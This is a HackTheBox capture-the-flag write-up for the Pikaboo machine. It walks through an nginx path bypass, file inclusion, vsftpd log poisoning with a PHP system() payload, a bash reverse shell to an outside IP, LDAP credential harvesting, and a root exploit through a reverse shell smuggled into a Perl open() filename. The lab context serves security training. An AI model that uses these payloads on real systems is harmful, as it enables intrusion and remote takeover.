This page looks best with JavaScript enabled

HackTheBox: Pikaboo

 ·  ☕ 10 min read

User

First of all checked what ports are open on the target:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
|   256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
|_  256 f4💿6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Pikaboo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

There is an ftp so tried to connect with anonymous user, but looks disabled:

wget -r ftp://anonymous:anonymous@pikaboo.htb/*
--2021-07-18 13:22:12--  ftp://anonymous:*password*@pikaboo.htb/*
=> ‘pikaboo.htb/.listing’
Resolving pikaboo.htb (pikaboo.htb)... 10.10.10.249
Connecting to pikaboo.htb (pikaboo.htb)|10.10.10.249|:21... connected.
Logging in as anonymous ... 
Login incorrect.

Let’s see what is in the web:
Web

Also there is an endpoint that looks vulnerable to sql injection, but tried with sqlmap and got nothing:

sqlmap -u http://pikaboo.htb/pokeapi.php?id=1 --random-agent --level 5 --risk 3

Fuzzing the web found that there is an admin directory, but it appears multiple times… :

ffuf -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://pikaboo.htb/FUZZ

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://pikaboo.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

images                  [Status: 301, Size: 319, Words: 20, Lines: 10]
                        [Status: 200, Size: 6922, Words: 1730, Lines: 209]
admin                   [Status: 401, Size: 456, Words: 42, Lines: 15]
administration          [Status: 401, Size: 456, Words: 42, Lines: 15]
administrator           [Status: 401, Size: 456, Words: 42, Lines: 15]
administr8              [Status: 401, Size: 456, Words: 42, Lines: 15]
administrative          [Status: 401, Size: 456, Words: 42, Lines: 15]
administratie           [Status: 401, Size: 456, Words: 42, Lines: 15]
admins                  [Status: 401, Size: 456, Words: 42, Lines: 15]
admin_images            [Status: 401, Size: 456, Words: 42, Lines: 15]
administrivia           [Status: 401, Size: 456, Words: 42, Lines: 15]
                        [Status: 200, Size: 6922, Words: 1730, Lines: 209]
administrative-law      [Status: 401, Size: 456, Words: 42, Lines: 15]
administrators          [Status: 401, Size: 456, Words: 42, Lines: 15]
admin1                  [Status: 401, Size: 456, Words: 42, Lines: 15]
administer              [Status: 401, Size: 456, Words: 42, Lines: 15]
admin3_gtpointup        [Status: 401, Size: 456, Words: 42, Lines: 15]
admin_hp                [Status: 401, Size: 456, Words: 42, Lines: 15]
admin25                 [Status: 401, Size: 456, Words: 42, Lines: 15]
admin02                 [Status: 401, Size: 456, Words: 42, Lines: 15]
administrationinfo      [Status: 401, Size: 456, Words: 42, Lines: 15]
admin_thumb             [Status: 401, Size: 456, Words: 42, Lines: 15]
admin_full              [Status: 401, Size: 456, Words: 42, Lines: 15]
admin_functions         [Status: 401, Size: 456, Words: 42, Lines: 15]
admin2                  [Status: 401, Size: 456, Words: 42, Lines: 15]
adminhelp               [Status: 401, Size: 456, Words: 42, Lines: 15]
administratoraccounts   [Status: 401, Size: 456, Words: 42, Lines: 15]
adminoffice             [Status: 401, Size: 456, Words: 42, Lines: 15]
administracja           [Status: 401, Size: 456, Words: 42, Lines: 15]
:: Progress: [220547/220547] :: Job [1/1] :: 131 req/sec :: Duration: [0:11:50] :: Errors: 255 ::

That’s suspicious so it may be a regular expression on nginx, it asks us for basic auth. Most common credentials didn’t work but interestingly enough when we cancel the login request, it points out that is proxying to different vhost on port 81:

Unauthorized

After some time trying to find how to bypass nginx regex location ended up finding this post about nginx missconfigurations.

When trying Off-By-Slash using ffuf found different results from the main website which indicates that is actually vulnerable:

ffuf -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://pikaboo.htb/admin../FUZZ

/'___\  /'___\           /'___\       
/\ \__/ /\ \__/  __  __  /\ \__/       
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
\ \_\   \ \_\  \ \____/  \ \_\       
\/_/    \/_/   \/___/    \/_/       

v1.3.1 Kali Exclusive <3
________________________________________________

:: Method           : GET
:: URL              : http://pikaboo.htb/admin../FUZZ
:: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

# Priority ordered case-sensitive list, where entries were found [Status: 403, Size: 274, Words: 20, Lines: 10]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 403, Size: 274, Words: 20, Lines: 10]
#                       [Status: 403, Size: 274, Words: 20, Lines: 10]
[Status: 403, Size: 274, Words: 20, Lines: 10]
#                       [Status: 403, Size: 274, Words: 20, Lines: 10]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 403, Size: 274, Words: 20, Lines: 10]
# This work is licensed under the Creative Commons [Status: 403, Size: 274, Words: 20, Lines: 10]
#                       [Status: 403, Size: 274, Words: 20, Lines: 10]
# or send a letter to Creative Commons, 171 Second Street, [Status: 403, Size: 274, Words: 20, Lines: 10]
# Suite 300, San Francisco, California, 94105, USA. [Status: 403, Size: 274, Words: 20, Lines: 10]
# directory-list-2.3-medium.txt [Status: 403, Size: 274, Words: 20, Lines: 10]
#                       [Status: 403, Size: 274, Words: 20, Lines: 10]
# Copyright 2007 James Fisher [Status: 403, Size: 274, Words: 20, Lines: 10]
# on at least 2 different hosts [Status: 403, Size: 274, Words: 20, Lines: 10]
admin                   [Status: 401, Size: 456, Words: 42, Lines: 15]
javascript              [Status: 301, Size: 314, Words: 20, Lines: 10]
[Status: 403, Size: 274, Words: 20, Lines: 10]
server-status           [Status: 200, Size: 5356, Words: 261, Lines: 106]
:: Progress: [220560/220560] :: Job [1/1] :: 79 req/sec :: Duration: [0:29:22] :: Errors: 0 ::

To confirm it we can use curl:

curl -I http://pikaboo.htb/admin../javascript
HTTP/1.1 301 Moved Permanently
Server: nginx/1.14.2
Date: Sun, 18 Jul 2021 11:45:32 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
Location: http://127.0.0.1:81/javascript/

curl -I http://pikaboo.htb/javascript
HTTP/1.1 404 Not Found
Server: nginx/1.14.2
Date: Sun, 18 Jul 2021 11:45:38 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
Vary: Accept-Encoding

What caught my attention is server-status returning 200 OK, searching if this was exploitable this post showcase this particular scenario. So used the tool:

python3 server-status_PWN.py -u http://p
ikaboo.htb/admin../server-status                         
[#] Requesting. 
[New URL]:  http://localhost:81/admin_staging            
[New URL]:  http://localhost:81/admin/../server-status   
[New URL]:  http://localhost:81/pokatdex/favicon.ico 

So we got a new url in here when I intercept that request on burp it shows 301:

Redirect

Tested adding a / at the end before fuzzing, surprisingly now it returns the web page:

Admin website

Searching on the app found this enpoint /admin../admin_staging/index.php?page=typography.php that seems vulnerable to File Inclusion so used panoptic to search for common files:

python2 panoptic.py --url http://pikaboo.htb/admin../admin_staging/index.php?page=user.php

.-',--.`-.
<_ | () | _>
`-`=='-'

Panoptic v0.1-a9e104f (https://github.com/lightos/Panoptic/)

[i] Starting scan at: 18:51:40

[i] Checking original response...
[i] Checking invalid response...
[i] Done!
[i] Searching for files...
[i] Possible file(s) found!
[i] OS: *NIX
[?] Do you want to restrict further scans to '*NIX'? [Y/n] Y
[+] Found '/var/log/vsftpd.log' (*NIX/FTP/log).
[+] Found '/var/log/nginx/access.log' (*NIX/HTTP server/log).

[i] File search complete.

[i] Finishing scan at: 18:56:48

We can use log poisoning to get RCE, with vsftpd logs for instance. Here is an explanation. Just login with an invalid username through ftp that contains a PHP payload:

ftp pikaboo.htb
Connected to pikaboo.htb.
220 (vsFTPd 3.0.3)
Name (pikaboo.htb:jusepe): '<?php system($_GET["payload"]); ?>'
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.

We can double check by executing ifconfig :
http://pikaboo.htb/admin../admin_staging/index.php?page=/var/log/vsftpd.log&payload=ifconfig

Ifconfig

At this point spent a couple hours trying to pop a reverse shell, it seems that you need to use /bin/bash -c beforehand otherewise doesnt work somehow. So just log in to ftp with the following username and wait for the reverse shell to pop up:

ftp pikaboo.htb
Connected to pikaboo.htb.
220 (vsFTPd 3.0.3)
Name (pikaboo.htb:jusepe): '<?php system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.193/9000 0>&1'"); ?>'
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.

Root

Tried to crack httpasswd hash without success:

IMAGEN

If we have a look at /opt directory there is a folder with a pokeapi, checking it out we can find LDAP credentials in /opt/pokeapi/config/settings.py:

DATABASES = {
    "ldap": {
        "ENGINE": "ldapdb.backends.ldap",
        "NAME": "ldap:///",
        "USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",
        "PASSWORD": "J~42%W?PFHl]g",
    },
    "default": {
        "ENGINE": "django.db.backends.sqlite3",
        "NAME": "/opt/pokeapi/db.sqlite3",
    }
}

At first looking at hacktricks section tried login with the following command:

ldapsearch -x -h 127.0.0.1 -D 'pikaboo.htb\pwnmeow' -w 'J~42%W?PFHl]g' -b "CN=Users,DC=pikaboo,DC=htb"

Then found this post explaining how to use ldap, he uses CN to login so when doing so we can now enumerate ldap:

ldapsearch -x -h 127.0.0.1 -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w 'J~42%W?PFHl]g' -b "CN=Users,DC=pikaboo,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=pikaboo,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# pikaboo.htb
dn: dc=pikaboo,dc=htb
objectClass: domain
dc: pikaboo

# ftp.pikaboo.htb
dn: dc=ftp,dc=pikaboo,dc=htb
objectClass: domain
dc: ftp

# users, pikaboo.htb
dn: ou=users,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users

# pokeapi.pikaboo.htb
dn: dc=pokeapi,dc=pikaboo,dc=htb
objectClass: domain
dc: pokeapi

# users, ftp.pikaboo.htb
dn: ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users

# groups, ftp.pikaboo.htb
dn: ou=groups,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups

# pwnmeow, users, ftp.pikaboo.htb
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==

# binduser, users, pikaboo.htb
dn: cn=binduser,ou=users,dc=pikaboo,dc=htb
cn: binduser
objectClass: simpleSecurityObject
objectClass: organizationalRole
userPassword:: Sn40MiVXP1BGSGxdZw==

# users, pokeapi.pikaboo.htb
dn: ou=users,dc=pokeapi,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users

# groups, pokeapi.pikaboo.htb
dn: ou=groups,dc=pokeapi,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups

# search result
search: 2
result: 0 Success

# numResponses: 11
# numEntries: 10

Now we can just url decode the password:

echo 'X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==' | base64 -d
_G0tT4_C4tcH_'3m_4lL!_

Then tried to log in as pwnmeow both in ssh and using su but got access denied. Luckily we can log in using ftp:

ftp pikaboo.htb
Connected to pikaboo.htb.
220 (vsFTPd 3.0.3)
Name (pikaboo.htb:jusepe): pwnmeow
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

Additionally there is a crontab running as root every second:

* * * * * root /usr/local/bin/csvupdate_cron  

Let’s have a look at it:

1
2
3
4
5
6
7
8
#!/bin/bash

for d in /srv/ftp/*
do
  cd $d
  /usr/local/bin/csvupdate $(basename $d) *csv
  /usr/bin/rm -rf *
done

Also let’s check what csvupdate does:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/perl

##################################################################
# Script for upgrading PokeAPI CSV files with FTP-uploaded data. #
#                                                                #
# Usage:                                                         #
# ./csvupdate <type> <file(s)>                                   #
#                                                                #
# Arguments:                                                     #
# - type: PokeAPI CSV file type                                  #
#         (must have the correct number of fields)               #
# - file(s): list of files containing CSV data                   #
##################################################################

use strict;
use warnings;
use Text::CSV;

my $csv_dir = "/opt/pokeapi/data/v2/csv";

my %csv_fields = (
    ...
);


if($#ARGV < 1)
{
  die "Usage: $0 <type> <file(s)>\n";
}

my $type = $ARGV[0];
if(!exists $csv_fields{$type})
{
  die "Unrecognised CSV data type: $type.\n";
}

my $csv = Text::CSV->new({ sep_char => ',' });

my $fname = "${csv_dir}/${type}.csv";
open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n";

shift;
for(<>)
{
  chomp;
  if($csv->parse($_))
  {
    my @fields = $csv->fields();
    if(@fields != $csv_fields{$type})
    {
      warn "Incorrect number of fields: '$_'\n";
      next;
    }
    print $fh "$_\n";
  }
}

close($fh);

=‘file://root/root.txt’#$passwd.A1,random

Found this article that shows how open function is vulnerable to execute commands in perl, so we create a file with the following name:

|echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xOTMvOTAwMCAwPiYxCg== | base64 -d | bash | foo.csv

It must end with csv so it gets opened by the script.

Finally we can upload the file through lftp since using ftp was giving some problem with files that contains special characters and spaces:

lftp pikaboo.htb
lftp pikaboo.htb:~> login pwnmeow _G0tT4_C4tcH_\'3m_4lL!_
lftp pwnmeow@pikaboo.htb:~> cd move_effects
cd ok, cwd=/move_effects
lftp pwnmeow@pikaboo.htb:/move_effects> put \|echo\ YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xOTMvOTAwMCAwPiYxCg==\ \|\ base64\ -d\ \|\ bash\ \|\ foo.csv
8 bytes transferred

Finally we wait on our listener and voilá:

id && ifconfig
uid=0(root) gid=0(root) groups=0(root)
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.249  netmask 255.255.255.0  broadcast 10.10.10.255
        inet6 dead:beef::250:56ff:feb9:58d6  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:58d6  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:58:d6  txqueuelen 1000  (Ethernet)
        RX packets 36084  bytes 5344373 (5.0 MiB)
        RX errors 0  dropped 201  overruns 0  frame 0
        TX packets 30191  bytes 12455268 (11.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 205043  bytes 23398343 (22.3 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 205043  bytes 23398343 (22.3 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
Share on

ITasahobby
WRITTEN BY
ITasahobby
InTernet lover